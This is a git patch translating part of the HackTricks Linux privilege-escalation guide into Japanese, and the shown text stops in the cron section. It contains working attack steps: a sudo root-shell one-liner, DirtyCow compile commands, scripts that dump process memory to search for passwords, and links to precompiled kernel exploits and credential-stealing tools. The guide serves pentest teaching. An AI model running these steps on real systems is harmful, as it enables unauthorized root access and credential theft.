From 0caa966bb847625a99c015f782b774be7ea36fd8 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 2 Jan 2025 21:11:30 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l --- .../privilege-escalation/README.md | 1064 +++++-------- .../docker-security/README.md | 298 ++-- ...-docker-socket-for-privilege-escalation.md | 52 +- .../docker-security/apparmor.md | 224 ++- ...uthn-docker-access-authorization-plugin.md | 124 +- .../docker-security/cgroups.md | 66 +- .../README.md | 320 ++-- .../docker-release_agent-cgroups-escape.md | 44 +- ...se_agent-exploit-relative-paths-to-pids.md | 58 +- .../sensitive-mounts.md | 162 +- .../docker-security/docker-privileged.md | 92 +- .../docker-security/namespaces/README.md | 16 +- .../namespaces/cgroup-namespace.md | 66 +- .../namespaces/ipc-namespace.md | 66 +- .../namespaces/mount-namespace.md | 74 +- .../namespaces/network-namespace.md | 66 +- .../namespaces/pid-namespace.md | 70 +- .../namespaces/time-namespace.md | 52 +- .../namespaces/user-namespace.md | 92 +- .../namespaces/uts-namespace.md | 58 +- .../docker-security/seccomp.md | 160 +- .../docker-security/weaponizing-distroless.md | 16 +- .../interesting-groups-linux-pe/README.md | 136 +- .../lxd-privilege-escalation.md | 28 +- .../ld.so.conf-example.md | 110 +- .../linux-active-directory.md | 76 +- .../linux-capabilities.md | 1400 +++++++---------- .../privilege-escalation/logstash.md | 54 +- .../nfs-no_root_squash-misconfiguration-pe.md | 96 +- .../payloads-to-execute.md | 96 +- .../runc-privilege-escalation.md | 28 +- .../privilege-escalation/selinux.md | 14 +- .../socket-command-injection.md | 32 +- .../splunk-lpe-and-persistence.md | 50 +- .../ssh-forward-agent-exploitation.md | 24 +- .../wildcards-spare-tricks.md | 44 +- .../privilege-escalation/write-to-root.md | 26 +- .../useful-linux-commands/README.md | 49 +- .../bypass-bash-restrictions.md | 98 +- .../privilege-escalation/exploiting-yum.md | 20 +- .../interesting-groups-linux-pe.md | 108 +- .../macos-auto-start-locations.md | 1356 ++++++++-------- .../macos-red-teaming/README.md | 185 +-- .../macos-red-teaming/macos-keychain.md | 138 +- .../macos-red-teaming/macos-mdm/README.md | 256 +-- ...nrolling-devices-in-other-organisations.md | 56 +- .../macos-mdm/macos-serial-number.md | 50 +- .../README.md | 98 +- .../mac-os-architecture/README.md | 36 +- .../macos-function-hooking.md | 298 ++-- .../mac-os-architecture/macos-iokit.md | 216 ++- .../README.md | 954 ++++++----- .../macos-kernel-extensions.md | 106 +- .../macos-kernel-vulnerabilities.md | 6 +- .../macos-system-extensions.md | 66 +- .../macos-applefs.md | 28 +- .../macos-basic-objective-c.md | 160 +- .../macos-bypassing-firewalls.md | 66 +- .../macos-defensive-apps.md | 10 +- ...yld-hijacking-and-dyld_insert_libraries.md | 96 +- .../macos-file-extension-apps.md | 82 +- .../macos-gcd-grand-central-dispatch.md | 210 ++- .../macos-privilege-escalation.md | 154 +- .../macos-protocols.md | 102 +- .../macos-fs-tricks/README.md | 97 +- .../macos-gatekeeper.md | 79 +- .../macos-sandbox/README.md | 56 +- .../macos-sandbox-debug-and-bypass/README.md | 215 ++- .../macos-tcc/macos-tcc-bypasses/README.md | 104 +- .../macos-users.md | 34 +- src/macos-hardening/macos-useful-commands.md | 27 +- .../android-app-pentesting/README.md | 186 +-- ...bypass-biometric-authentication-android.md | 25 +- .../content-protocol.md | 18 +- .../drozer-tutorial/README.md | 40 +- .../frida-tutorial/README.md | 26 +- .../frida-tutorial/frida-tutorial-1.md | 18 +- .../frida-tutorial/frida-tutorial-2.md | 29 +- .../frida-tutorial/objection-tutorial.md | 28 +- .../frida-tutorial/owaspuncrackable-1.md | 17 +- .../install-burp-certificate.md | 28 +- .../reversing-native-libraries.md | 44 +- .../android-app-pentesting/smali-changes.md | 40 +- .../android-app-pentesting/tapjacking.md | 36 +- src/mobile-pentesting/android-checklist.md | 30 +- .../ios-pentesting-checklist.md | 92 +- .../ios-pentesting/README.md | 201 +-- .../burp-configuration-for-ios.md | 36 +- .../frida-configuration-in-ios.md | 42 +- .../ios-pentesting/ios-uipasteboard.md | 27 +- .../1099-pentesting-java-rmi.md | 34 +- .../11211-memcache/memcache-commands.md | 11 +- .../113-pentesting-ident.md | 30 +- .../135-pentesting-msrpc.md | 48 +- .../15672-pentesting-rabbitmq-management.md | 12 +- .../27017-27018-mongodb.md | 52 +- .../4786-cisco-smart-install.md | 12 +- .../4840-pentesting-opc-ua.md | 23 +- .../512-pentesting-rexec.md | 16 +- .../5985-5986-pentesting-winrm.md | 61 +- .../6000-pentesting-x11.md | 38 +- .../623-udp-ipmi.md | 28 +- .../6379-pentesting-redis.md | 103 +- .../69-udp-tftp.md | 11 +- ...09-pentesting-apache-jserv-protocol-ajp.md | 36 +- .../8086-pentesting-influxdb.md | 23 +- .../9200-pentesting-elasticsearch.md | 41 +- .../pentesting-dns.md | 46 +- .../pentesting-finger.md | 17 +- .../ftp-bounce-download-2oftp-file.md | 32 +- ...entesting-jdwp-java-debug-wire-protocol.md | 29 +- .../pentesting-modbus.md | 9 +- .../pentesting-mysql.md | 35 +- .../pentesting-ntp.md | 48 +- .../pentesting-postgresql.md | 157 +- .../pentesting-rdp.md | 39 +- .../pentesting-remote-gdbserver.md | 21 +- .../pentesting-rlogin.md | 9 +- .../pentesting-rpcbind.md | 18 +- .../pentesting-rsh.md | 10 +- .../pentesting-sap.md | 37 +- .../pentesting-smb/rpcclient-enumeration.md | 44 +- .../pentesting-smtp/README.md | 70 +- .../pentesting-smtp/smtp-commands.md | 28 +- .../pentesting-snmp/README.md | 48 +- .../pentesting-snmp/cisco-snmp.md | 21 +- .../pentesting-ssh.md | 36 +- .../pentesting-telnet.md | 19 +- .../pentesting-vnc.md | 17 +- .../pentesting-voip/README.md | 124 +- .../pentesting-web/403-and-401-bypasses.md | 81 +- .../pentesting-web/README.md | 70 +- .../pentesting-web/cgi.md | 27 +- .../pentesting-web/drupal/README.md | 17 +- .../pentesting-web/flask.md | 24 +- .../pentesting-web/graphql.md | 88 +- .../pentesting-web/h2-java-sql-database.md | 10 +- .../pentesting-web/jboss.md | 14 +- .../pentesting-web/jira.md | 26 +- .../pentesting-web/joomla.md | 21 +- .../pentesting-web/laravel.md | 24 +- .../pentesting-web/moodle.md | 17 +- .../pentesting-web/nginx.md | 52 +- .../pentesting-web/php-tricks-esp/README.md | 81 +- .../pentesting-web/put-method-webdav.md | 52 +- .../pentesting-web/rocket-chat.md | 19 +- .../pentesting-web/vmware-esx-vcenter....md | 7 - .../pentesting-web/web-api-pentesting.md | 36 +- .../pentesting-web/werkzeug.md | 34 +- .../pentesting-web/wordpress.md | 60 +- .../abusing-hop-by-hop-headers.md | 48 +- src/pentesting-web/cache-deception/README.md | 81 +- src/pentesting-web/clickjacking.md | 46 +- .../client-side-template-injection-csti.md | 17 +- src/pentesting-web/command-injection.md | 19 +- .../README.md | 131 +- src/pentesting-web/cors-bypass.md | 81 +- src/pentesting-web/crlf-0d-0a.md | 38 +- .../csrf-cross-site-request-forgery.md | 100 +- src/pentesting-web/dependency-confusion.md | 14 +- src/pentesting-web/deserialization/README.md | 140 +- .../exploiting-__viewstate-parameter.md | 44 +- .../deserialization/ruby-_json-pollution.md | 20 + .../domain-subdomain-takeover.md | 55 +- src/pentesting-web/email-injections.md | 36 +- src/pentesting-web/file-inclusion/README.md | 137 +- .../file-inclusion/lfi2rce-via-php-filters.md | 29 +- .../file-inclusion/lfi2rce-via-phpinfo.md | 18 +- .../file-inclusion/phar-deserialization.md | 18 +- src/pentesting-web/file-upload/README.md | 89 +- .../hacking-jwt-json-web-tokens.md | 53 +- .../http-request-smuggling/README.md | 161 +- src/pentesting-web/iframe-traps.md | 15 +- src/pentesting-web/ldap-injection.md | 23 +- src/pentesting-web/login-bypass/README.md | 36 +- .../login-bypass/sql-login-bypass.md | 20 +- src/pentesting-web/nosql-injection.md | 30 +- .../oauth-to-account-takeover.md | 70 +- src/pentesting-web/open-redirect.md | 10 - src/pentesting-web/parameter-pollution.md | 37 +- .../proxy-waf-protections-bypass.md | 30 +- src/pentesting-web/race-condition.md | 90 +- src/pentesting-web/rate-limit-bypass.md | 26 +- src/pentesting-web/reset-password.md | 56 +- src/pentesting-web/sql-injection/README.md | 102 +- .../sql-injection/mysql-injection/README.md | 27 +- .../postgresql-injection/README.md | 24 +- .../sql-injection/sqlmap/README.md | 109 +- .../README.md | 82 +- .../README.md | 77 +- .../jinja2-ssti.md | 29 +- .../web-vulnerabilities-methodology.md | 156 +- src/pentesting-web/xpath-injection.md | 38 +- src/pentesting-web/xs-search.md | 284 ++-- src/pentesting-web/xs-search/README.md | 340 ++-- .../xss-cross-site-scripting/README.md | 152 +- .../xss-cross-site-scripting/steal-info-js.md | 4 - .../xxe-xee-xml-external-entity.md | 77 +- src/todo/more-tools.md | 20 +- .../flipper-zero/fz-125khz-rfid.md | 30 +- .../abusing-ad-mssql.md | 18 +- .../ad-certificates/domain-escalation.md | 95 +- .../asreproast.md | 44 +- .../active-directory-methodology/dcsync.md | 40 +- .../kerberoast.md | 48 +- .../kerberos-double-hop-problem.md | 25 +- .../active-directory-methodology/laps.md | 21 +- .../over-pass-the-hash-pass-the-key.md | 12 +- .../pass-the-ticket.md | 22 +- .../password-spraying.md | 23 +- .../privileged-groups-and-token-privileges.md | 35 +- .../resource-based-constrained-delegation.md | 40 +- .../silver-ticket.md | 30 +- .../authentication-credentials-uac-and-efs.md | 51 +- .../README.md | 70 +- .../uac-user-account-control.md | 54 +- src/windows-hardening/av-bypass.md | 69 +- .../basic-cmd-for-pentesters.md | 21 +- .../powerview.md | 16 +- .../lateral-movement/psexec-and-winexec.md | 24 +- .../lateral-movement/smbexec.md | 23 +- .../ntlm/psexec-and-winexec.md | 28 +- .../credentials-mimikatz.md | 45 +- .../acls-dacls-sacls-aces.md | 158 +- .../dll-hijacking.md | 58 +- .../dpapi-extracting-passwords.md | 24 +- ...vilege-escalation-with-autorun-binaries.md | 22 +- .../uac-user-account-control.md | 88 +- 228 files changed, 7721 insertions(+), 11138 deletions(-) create mode 100644 src/pentesting-web/deserialization/ruby-_json-pollution.md diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index afccf5db5..083df07eb 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1,66 +1,55 @@ -# Linux Privilege Escalation +# Linux特権昇格 {{#include ../../banners/hacktricks-training.md}} -## System Information +## システム情報 -### OS info - -Let's start gaining some knowledge of the OS running +### OS情報 +まず、実行中のOSについての知識を得ることから始めましょう。 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` - ### Path -If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijack some libraries or binaries: - +もしあなたが`PATH`変数内の任意のフォルダーに**書き込み権限を持っている場合**、いくつかのライブラリやバイナリをハイジャックできるかもしれません: ```bash echo $PATH ``` - ### Env info -Interesting information, passwords or API keys in the environment variables? - +環境変数に興味深い情報、パスワード、またはAPIキーはありますか? ```bash (env || set) 2>/dev/null ``` - ### Kernel exploits -Check the kernel version and if there is some exploit that can be used to escalate privileges - +カーネルのバージョンを確認し、特権を昇格させるために使用できるエクスプロイトがあるかどうかを調べます。 ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` +良い脆弱なカーネルのリストといくつかの**コンパイル済みのエクスプロイト**はここにあります: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) と [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)。\ +他に**コンパイル済みのエクスプロイト**を見つけることができるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries)、[https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ -Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) - -To extract all the vulnerable kernel versions from that web you can do: - +そのウェブからすべての脆弱なカーネルバージョンを抽出するには、次のようにします: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` - -Tools that could help to search for kernel exploits are: +カーネルの脆弱性を検索するのに役立つツールは次のとおりです: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (被害者で実行、カーネル2.xの脆弱性のみをチェック) -Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. +常に**Googleでカーネルバージョンを検索**してください。おそらくあなたのカーネルバージョンがいくつかのカーネル脆弱性に記載されており、その脆弱性が有効であることを確認できます。 ### CVE-2016-5195 (DirtyCow) -Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 - +Linux特権昇格 - Linuxカーネル <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -68,96 +57,73 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` +### Sudoのバージョン -### Sudo version - -Based on the vulnerable sudo versions that appear in: - +脆弱なsudoバージョンに基づいて、次のように表示されます: ```bash searchsploit sudo ``` - -You can check if the sudo version is vulnerable using this grep. - +このgrepを使用して、sudoのバージョンが脆弱であるかどうかを確認できます。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` - #### sudo < v1.28 From @sickrov - ``` sudo -u#-1 /bin/bash ``` +### Dmesg署名の検証に失敗しました -### Dmesg signature verification failed - -Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited - +**HTBのsmasher2ボックス**の**例**を確認して、この脆弱性がどのように悪用されるかを確認してください。 ```bash dmesg 2>/dev/null | grep "signature" ``` - -### More system enumeration - +### さらなるシステム列挙 ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` - -## Enumerate possible defenses +## 考えられる防御策の列挙 ### AppArmor - ```bash if [ `which aa-status 2>/dev/null` ]; then - aa-status - elif [ `which apparmor_status 2>/dev/null` ]; then - apparmor_status - elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then - ls -d /etc/apparmor* - else - echo "Not found AppArmor" +aa-status +elif [ `which apparmor_status 2>/dev/null` ]; then +apparmor_status +elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then +ls -d /etc/apparmor* +else +echo "Not found AppArmor" fi ``` - ### Grsecurity - ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` - ### PaX - ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` - ### Execshield - ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` - ### SElinux - ```bash - (sestatus 2>/dev/null || echo "Not found sestatus") +(sestatus 2>/dev/null || echo "Not found sestatus") ``` - ### ASLR - ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` - ## Docker Breakout -If you are inside a docker container you can try to escape from it: +もしあなたがdockerコンテナ内にいる場合、そこから脱出しようとすることができます: {{#ref}} docker-security/ @@ -165,80 +131,69 @@ docker-security/ ## Drives -Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info - +**何がマウントされていて、何がアンマウントされているか**、どこで、なぜそれが行われているのかを確認してください。もし何かがアンマウントされている場合、それをマウントしてプライベート情報を確認しようとすることができます。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` +## 有用なソフトウェア -## Useful software - -Enumerate useful binaries - +有用なバイナリを列挙する ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` - -Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar) - +また、**コンパイラがインストールされているかどうかを確認してください**。これは、カーネルエクスプロイトを使用する必要がある場合に便利です。使用するマシン(または類似のマシン)でコンパイルすることが推奨されます。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` +### 脆弱なソフトウェアのインストール -### Vulnerable Software Installed - -Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ -It is recommended to check manually the version of the more suspicious installed software. - +**インストールされたパッケージとサービスのバージョン**を確認してください。特権昇格に悪用される可能性のある古いNagiosのバージョンがあるかもしれません…\ +より疑わしいインストールされたソフトウェアのバージョンを手動で確認することをお勧めします。 ```bash dpkg -l #Debian rpm -qa #Centos ``` +SSHアクセスがある場合、**openVAS**を使用して、マシンにインストールされている古いおよび脆弱なソフトウェアをチェックすることもできます。 -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +> [!NOTE] > _これらのコマンドはほとんど役に立たない多くの情報を表示するため、インストールされているソフトウェアのバージョンが既知の脆弱性に対して脆弱かどうかをチェックするOpenVASや同様のアプリケーションを推奨します_ -> [!NOTE] > _Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some applications like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_ - -## Processes - -Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?) +## プロセス +**どのプロセス**が実行されているかを確認し、**必要以上の特権を持っているプロセス**がないかをチェックしてください(例えば、rootによって実行されているtomcatなど)。 ```bash ps aux ps -ef top -n 1 ``` +常に可能な [**electron/cef/chromiumデバッガー**]が実行されているか確認してください。これを悪用して特権を昇格させることができます](electron-cef-chromium-debugger-abuse.md)。 **Linpeas** は、プロセスのコマンドライン内の `--inspect` パラメータをチェックすることでそれらを検出します。\ +また、**プロセスのバイナリに対する特権を確認してください**。もしかしたら誰かを上書きできるかもしれません。 -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +### プロセス監視 -### Process monitoring +[**pspy**](https://github.com/DominicBreuker/pspy) のようなツールを使用してプロセスを監視できます。これは、脆弱なプロセスが頻繁に実行されているか、特定の要件が満たされたときに特定するのに非常に役立ちます。 -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +### プロセスメモリ -### Process memory - -Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**. +サーバーのいくつかのサービスは、**メモリ内にクリアテキストで資格情報を保存します**。\ +通常、他のユーザーに属するプロセスのメモリを読み取るには**root特権**が必要です。したがって、これは通常、すでにrootであり、さらに多くの資格情報を発見したいときにより有用です。\ +ただし、**通常のユーザーとしては、自分が所有するプロセスのメモリを読むことができることを忘れないでください**。 > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> 現在、ほとんどのマシンは**デフォルトでptraceを許可していない**ため、特権のないユーザーに属する他のプロセスをダンプすることはできません。 > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> ファイル _**/proc/sys/kernel/yama/ptrace_scope**_ は、ptraceのアクセス可能性を制御します: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: 同じuidを持つ限り、すべてのプロセスをデバッグできます。これがptracingが機能していた古典的な方法です。 +> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみがデバッグできます。 +> - **kernel.yama.ptrace_scope = 2**: 管理者のみがptraceを使用できます。これはCAP_SYS_PTRACE権限が必要です。 +> - **kernel.yama.ptrace_scope = 3**: ptraceでトレースできるプロセスはありません。一度設定されると、ptracingを再度有効にするには再起動が必要です。 #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. - +FTPサービスのメモリにアクセスできる場合(例えば)、ヒープを取得し、その資格情報の中を検索することができます。 ```bash gdb -p (gdb) info proc mappings @@ -247,50 +202,42 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` - -#### GDB Script - +#### GDB スクリプト ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh grep rw-p /proc/$1/maps \ - | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ - | while read start stop; do \ - gdb --batch --pid $1 -ex \ - "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ +| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ +| while read start stop; do \ +gdb --batch --pid $1 -ex \ +"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ done ``` - #### /proc/$pid/maps & /proc/$pid/mem -For a given process ID, **maps show how memory is mapped within that process's** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. - +特定のプロセスIDに対して、**mapsはそのプロセスの**仮想アドレス空間内でメモリがどのようにマッピングされているかを示します。また、**各マッピングされた領域の権限**も示します。**mem**擬似ファイルは**プロセスのメモリ自体を公開します**。**maps**ファイルから、どの**メモリ領域が読み取り可能であるか**とそのオフセットがわかります。この情報を使用して、**memファイルにシークし、すべての読み取り可能な領域をファイルにダンプします**。 ```bash procdump() ( - cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" - while read a b; do - dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ - skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" - done ) - cat $1*.bin > $1.dump - rm $1*.bin +cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" +while read a b; do +dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ +skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" +done ) +cat $1*.bin > $1.dump +rm $1*.bin ) ``` - #### /dev/mem -`/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernel's virtual address space can be accessed using /dev/kmem.\ -Typically, `/dev/mem` is only readable by **root** and **kmem** group. - +`/dev/mem` はシステムの **物理** メモリへのアクセスを提供し、仮想メモリではありません。カーネルの仮想アドレス空間には /dev/kmem を使用してアクセスできます。\ +通常、`/dev/mem` は **root** と **kmem** グループのみが読み取ることができます。 ``` strings /dev/mem -n10 | grep -i PASS ``` - ### ProcDump for linux -ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) - +ProcDumpは、WindowsのSysinternalsツールスイートからのクラシックなProcDumpツールのLinux版です。入手先は[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -317,48 +264,42 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` +### ツール -### Tools - -To dump a process memory you could use: +プロセスのメモリをダンプするには、次のものを使用できます: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_You can manually remove root requirements and dump the process owned by you -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、あなたが所有するプロセスをダンプできます +- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) のスクリプト A.5 (root が必要) -### Credentials from Process Memory +### プロセスメモリからの資格情報 -#### Manual example - -If you find that the authenticator process is running: +#### 手動の例 +認証プロセスが実行中であることがわかった場合: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` - -You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory: - +プロセスをダンプすることができ(プロセスのメモリをダンプするさまざまな方法を見つけるには前のセクションを参照)、メモリ内の資格情報を検索します: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` - #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly. +ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の認証情報を盗む** ことができ、いくつかの **よく知られたファイル** からも情報を取得します。正しく動作するには root 権限が必要です。 -| Feature | Process Name | -| ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| 機能 | プロセス名 | +| ------------------------------------------------ | --------------------- | +| GDM パスワード (Kali デスクトップ、Debian デスクトップ) | gdm-password | +| Gnome Keyring (Ubuntu デスクトップ、ArchLinux デスクトップ) | gnome-keyring-daemon | +| LightDM (Ubuntu デスクトップ) | lightdm | +| VSFTPd (アクティブ FTP 接続) | vsftpd | +| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 | +| OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) - ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -372,186 +313,158 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` - ## Scheduled/Cron jobs -Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). - +スケジュールされたジョブが脆弱であるか確認してください。rootによって実行されるスクリプトを利用できるかもしれません(ワイルドカードの脆弱性?rootが使用するファイルを変更できますか?シンボリックリンクを使用しますか?rootが使用するディレクトリに特定のファイルを作成しますか?)。 ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` - ### Cron path -For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例えば、_ /etc/crontab _の中にPATHが見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Note how the user "user" has writing privileges over /home/user_) - -If inside this crontab the root user tries to execute some command or script without setting the path. For example: _\* \* \* \* root overwrite.sh_\ -Then, you can get a root shell by using: +(_ユーザー「user」が/home/userに対して書き込み権限を持っていることに注意してください_) +このcrontabの中で、rootユーザーがパスを設定せずにコマンドやスクリプトを実行しようとするとします。例えば: _\* \* \* \* root 